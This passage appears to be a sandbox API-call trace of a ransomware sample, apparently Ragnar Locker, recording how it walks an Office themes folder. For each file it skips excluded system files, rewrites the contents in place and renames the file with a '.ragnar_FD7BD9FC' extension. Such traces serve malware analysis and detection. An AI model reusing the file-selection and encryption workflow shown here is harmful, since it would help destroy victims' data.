lpString2="bootmgr.efi") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="bootmgfw.efi") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="desktop.ini") returned 1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="iconcache.db") returned -1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ntldr") returned -1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ntuser.dat") returned -1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ntuser.dat.log") returned -1 [0094.721] lstrcmpiW (lpString1="Foundry.thmx", lpString2="ntuser.ini") returned -1 [0094.722] lstrcmpiW (lpString1="Foundry.thmx", lpString2="thumbs.db") returned -1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.722] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx")) returned 0x20 [0094.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.722] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=63508) returned 1 [0094.722] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xf80b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.722] GetProcessHeap () returned 0x580000 [0094.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.722] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.724] VirtualAlloc (lpAddress=0x0, dwSize=0xf814, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.724] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.724] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.724] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf814, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xf814, lpOverlapped=0x0) returned 1 [0094.726] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.726] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf814, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.726] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf814, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xf814, lpOverlapped=0x0) returned 1 [0094.727] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf814, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.727] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.727] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xf814, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.727] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.727] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.727] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.727] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.727] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.728] GetProcessHeap () returned 0x580000 [0094.728] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.728] CloseHandle (hObject=0x98) returned 1 [0094.728] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" [0094.728] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.ragnar_FD7BD9FC" [0094.728] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.728] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1 [0094.728] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.728] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Grid.thmx" | out: lpString1="Grid.thmx") returned="Grid.thmx" [0094.728] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned=".thmx" [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="autorun.inf") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="boot.ini") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootfont.bin") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootsect.bak") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootmgr") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootmgr.efi") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="bootmgfw.efi") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="desktop.ini") returned 1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="iconcache.db") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="ntldr") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="ntuser.dat") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="ntuser.dat.log") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="ntuser.ini") returned -1 [0094.729] lstrcmpiW (lpString1="Grid.thmx", lpString2="thumbs.db") returned -1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.729] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx")) returned 0x20 [0094.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.730] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=53984) returned 1 [0094.730] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd2d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.730] GetProcessHeap () returned 0x580000 [0094.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.730] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.731] VirtualAlloc (lpAddress=0x0, dwSize=0xd2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.731] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.731] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.731] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xd2e0, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eba0c*=0xd2e0, lpOverlapped=0x0) returned 1 [0094.733] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.734] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd2e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.734] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xd2e0, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eba08*=0xd2e0, lpOverlapped=0x0) returned 1 [0094.734] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd2e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.734] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.734] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xd2e0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.734] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.735] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.735] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.735] GetProcessHeap () returned 0x580000 [0094.735] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.735] CloseHandle (hObject=0x98) returned 1 [0094.735] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" [0094.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.ragnar_FD7BD9FC" [0094.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.736] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1 [0094.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.736] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Hardcover.thmx" | out: lpString1="Hardcover.thmx") returned="Hardcover.thmx" [0094.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned=".thmx" [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="autorun.inf") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="boot.ini") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootfont.bin") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootsect.bak") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootmgr") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootmgr.efi") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="bootmgfw.efi") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="desktop.ini") returned 1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="iconcache.db") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ntldr") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ntuser.dat") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ntuser.dat.log") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="ntuser.ini") returned -1 [0094.736] lstrcmpiW (lpString1="Hardcover.thmx", lpString2="thumbs.db") returned -1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.736] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx")) returned 0x20 [0094.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.737] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eba54 | out: lpFileSize=0x1eba54*=393281) returned 1 [0094.737] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x60038, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.737] GetProcessHeap () returned 0x580000 [0094.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.737] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eba18, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eba18*=0x9, lpOverlapped=0x0) returned 1 [0094.738] VirtualAlloc (lpAddress=0x0, dwSize=0x60041, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0094.738] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.738] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba2c | out: lpNewFilePointer=0x0) returned 1 [0094.739] ReadFile (in: hFile=0x98, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x60041, lpNumberOfBytesRead=0x1eba0c, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1eba0c*=0x60041, lpOverlapped=0x0) returned 1 [0094.747] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eba10 | out: lpNewFilePointer=0x0) returned 1 [0094.749] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60041, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.749] WriteFile (in: hFile=0x98, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x60041, lpNumberOfBytesWritten=0x1eba08, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1eba08*=0x60041, lpOverlapped=0x0) returned 1 [0094.750] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60041, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.750] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.752] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x60041, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.752] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.752] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.752] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eba3c*=0x100, lpOverlapped=0x0) returned 1 [0094.752] WriteFile (in: hFile=0x98, lpBuffer=0x1eba40*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eba3c, lpOverlapped=0x0 | out: lpBuffer=0x1eba40*, lpNumberOfBytesWritten=0x1eba3c*=0x9, lpOverlapped=0x0) returned 1 [0094.752] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.752] GetProcessHeap () returned 0x580000 [0094.752] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.752] CloseHandle (hObject=0x98) returned 1 [0094.752] lstrcpyW (in: lpString1=0x1eb5b8, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" [0094.752] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.ragnar_FD7BD9FC" [0094.752] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.753] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1 [0094.753] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x3c [0094.753] lstrcpyW (in: lpString1=0x1ec10a, lpString2="Horizon.thmx" | out: lpString1="Horizon.thmx") returned="Horizon.thmx" [0094.753] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx") returned=".thmx" [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="autorun.inf") returned 1 [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="boot.ini") returned 1 [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootfont.bin") returned 1 [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootsect.bak") returned 1 [0094.753] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootmgr") returned 1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootmgr.efi") returned 1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="bootmgfw.efi") returned 1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="desktop.ini") returned 1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="iconcache.db") returned -1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ntldr") returned -1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ntuser.dat") returned -1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ntuser.dat.log") returned -1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="ntuser.ini") returned -1 [0094.754] lstrcmpiW (lpString1="Horizon.thmx", lpString2="thumbs.db") returned -1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".db") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".sys") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".dll") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".lnk") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".msi") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".drv") returned 1 [0094.754] lstrcmpiW (lpString1=".thmx", lpString2=".exe") returned 1 [0094.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx")) returned 0x20 [0094.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 